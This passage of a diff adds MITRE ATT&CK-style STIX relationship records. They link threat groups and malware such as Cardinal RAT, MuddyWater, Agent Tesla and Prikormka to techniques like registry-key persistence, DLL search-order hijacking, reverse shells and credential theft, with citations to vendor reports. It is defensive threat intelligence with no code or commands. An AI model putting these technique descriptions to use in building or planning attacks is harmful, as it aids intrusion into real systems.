"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "modified": "2019-01-30T15:47:41.349Z", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has attempted to get users to execute malware via social media and spearphishing emails.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a381abec-332f-4b93-9585-875561eb52c1", + "external_references": [ + { + "source_name": "SecureWorks Mia Ash July 2017", + "description": "Counter Threat Unit Research Team. (2017, July 27). The Curious Case of Mia Ash: Fake Persona Lures Middle Eastern Targets. Retrieved February 26, 2018.", + "url": "https://www.secureworks.com/research/the-curious-case-of-mia-ash" + } + ], + "modified": "2019-03-25T14:25:29.621Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) contains watchdog functionality that periodically ensures HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load is set to point to its executable.", + "type": "relationship", + "created": "2019-01-30T16:39:54.485Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8875e27f-9f8d-418b-8937-a2c4d1858607", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.580Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) checks for antivirus and forensics software.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--765e3b13-60f4-4b34-b03f-0d8e738b0add", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "modified": "2019-05-14T17:10:21.942Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used a custom tool for creating reverse shells.", + "type": "relationship", + "created": "2019-01-30T17:33:40.960Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3ab6b7bc-bb49-4fcd-83fc-abbec5912d41", + "external_references": [ + { + "source_name": "Symantec MuddyWater Dec 2018", + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "modified": "2019-06-28T15:30:58.767Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can capture screenshots of not only the entire screen, but of each separate window open, in case they are overlapping.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--45a1721f-67a3-479a-befe-d136ed0fdad3", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[zwShell](https://attack.mitre.org/software/S0350) can obtain the name of the logged-in user on the victim.", + "type": "relationship", + "created": "2019-01-30T17:48:35.671Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bd62c9fa-b1d4-4fb9-a892-99703e1f794d", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-01-30T17:48:35.671Z", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) uses DLL search order hijacking for persistence by saving itself as ntshrui.dll to the Windows directory so it will load before the legitimate ntshrui.dll saved in the System32 subdirectory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6ce3735c-bfae-4eec-ab6b-bbf08cb7d60f", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.475Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) uses a .bat file to execute a .dll.", + "type": "relationship", + "created": "2019-01-30T18:15:25.540Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8d788563-901e-4002-a599-826840b00d39", + "external_references": [ + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + } + ], + "modified": "2019-02-01T14:39:36.314Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Vasport](https://attack.mitre.org/software/S0207) can download files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0e8a0760-f21e-4936-80a1-769c7ef61950", + "external_references": [ + { + "source_name": "Symantec Vasport May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has a command to delete a file from the system.", + "type": "relationship", + "created": "2019-01-30T19:18:20.125Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--207c59d5-9df0-4838-9a0a-5555ea78b35f", + "external_references": [ + { + "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "modified": "2019-01-30T19:18:20.125Z", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can take screenshots of the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T17:59:44.440Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4ab6eb52-821c-45da-b7d9-63840fe657cf", + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "modified": "2019-04-16T20:55:20.134Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) can gather information on drives and the operating system on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T19:50:46.767Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ef6d08c0-e9dd-45e1-b5ce-42cd5731f2ab", + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "modified": "2019-01-31T00:38:09.391Z", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has the capability to kill any running analysis processes and AV software.", + "type": "relationship", + "created": "2019-01-29T18:44:04.852Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bbbf5a68-55bf-46f8-a810-fe1e4f580167", + "external_references": [ + { + "source_name": "Fortinet Agent Tesla June 2017", + "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html" + } + ], + "modified": "2019-04-16T14:30:35.354Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A version of [KONNI](https://attack.mitre.org/software/S0356) drops a Windows shortcut into the Startup folder to establish persistence.", + "type": "relationship", + "created": "2019-01-31T00:36:40.999Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--475d30ee-999c-470c-b4b3-eed40d1db799", + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "modified": "2019-07-26T18:47:19.073Z", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remcos](https://attack.mitre.org/software/S0332) can launch a remote command line to execute commands on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T18:55:20.843Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8f58f0fa-54ca-412e-a681-2f864e217039", + "external_references": [ + { + "source_name": "Fortinet Remcos Feb 2017", + "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html" + } + ], + "modified": "2019-04-19T14:39:53.024Z", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used port 80 for C2 communications.", + "type": "relationship", + "created": "2019-01-31T01:07:58.727Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c70a03fe-b06f-41b5-bd0c-a7c4d0b1c31e", + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:38.033Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can execute various types of scripts on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T19:18:28.720Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1d1eaec4-ceeb-4fda-b177-f92fad7d3e44", + "external_references": [ + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "modified": "2019-06-04T19:40:43.610Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used spearphishing emails containing attachments (which are often stolen, legitimate documents sent from compromised accounts) with embedded malicious macros.", + "type": "relationship", + "created": "2019-01-31T02:01:45.725Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c35e3d28-f9f2-4547-9927-7b734ebec54c", + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "modified": "2019-04-18T20:19:49.284Z", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used spearphishing emails to deliver [BrainTest](https://attack.mitre.org/software/S0293) as a malicious attachment.", + "type": "relationship", + "created": "2019-01-29T19:39:38.120Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d76bebf2-6c58-4a99-a844-e194292d558b", + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "modified": "2019-07-14T21:04:44.973Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) collects credentials from Internet Explorer, Mozilla Firefox, Eudora, and several email clients.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--695c2f41-140a-48f9-9e14-0cd58d7712d1", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) uses VBS and JavaScript files.", + "type": "relationship", + "created": "2019-01-29T20:05:36.496Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a01519cd-b198-4c60-a5ed-1ca3528d0606", + "external_references": [ + { + "source_name": "Cofense NanoCore Mar 2018", + "description": "Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved November 9, 2018.", + "url": "https://cofense.com/nanocore-rat-resurfaced-sewers/" + } + ], + "modified": "2019-04-17T20:47:23.911Z", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WinMM](https://attack.mitre.org/software/S0059) uses NetUser-GetInfo to identify that it is running under an \u201cAdmin\u201d account on the local system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--af6e3f9e-7c71-484d-ab8e-5adaaaedea36", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-05-03T16:45:45.264Z", + "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has executed commands through Microsoft security vulnerabilities, including CVE-2017-11882, CVE-2018-0802, and CVE-2012-0158.", + "type": "relationship", + "created": "2019-01-29T20:17:49.381Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ad934b01-9c8c-42cd-8195-dc272c363208", + "external_references": [ + { + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + }, + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + } + ], + "modified": "2019-06-30T22:44:28.217Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "relationship_type": "uses", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:37:27.911Z", + "type": "relationship", + "id": "relationship--9692d2b6-c933-4c1a-8ea0-1f0babfeeec9", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-01-16T16:13:52.465Z", + "source_ref": "course-of-action--7aee8ea0-0baa-4232-b379-5d9ce98352cf", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) establishes a foothold by adding a link to the malware executable in the startup folder.", + "type": "relationship", + "created": "2019-01-29T21:33:34.692Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--11d37d18-3ad6-41ed-a99e-f1cc9d524c6c", + "external_references": [ + { + "source_name": "Unit 42 BadPatch Oct 2017", + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "modified": "2019-04-23T21:17:49.857Z", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Regin](https://attack.mitre.org/software/S0019) malware platform can use ICMP to communicate between infected computers.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e7ac3ee3-a014-4b07-9bad-b93d3d1d0f4b", + "external_references": [ + { + "source_name": "Kaspersky Regin", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "relationship_type": "uses", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) takes screenshots every 90 seconds by calling the Gdi32.BitBlt API.", + "type": "relationship", + "created": "2019-01-29T21:47:53.746Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b8a7be73-89a5-4689-8eea-280b745bd3cc", + "external_references": [ + { + "source_name": "Radware Micropsia July 2018", + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "modified": "2019-04-17T22:05:05.892Z", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains keylogging functionality that will monitor for active application windows and write them to the log, it can handle special characters, and it will buffer by default 50 characters before sending them out over the C2 infrastructure.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--11ed82c1-88af-4c23-860e-185505389288", + "external_references": [ + { + "source_name": "XAgentOSX 2017", + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "modified": "2019-07-26T23:07:21.246Z", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can execute malicious JavaScript and VBScript payloads on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T13:28:47.846Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--21117898-adc0-41c1-9e2e-2551e638ef71", + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "modified": "2019-06-28T15:15:54.372Z", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:24:32.592Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.079Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--68487d82-458b-4f45-b1c8-c6e4affaa226", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New 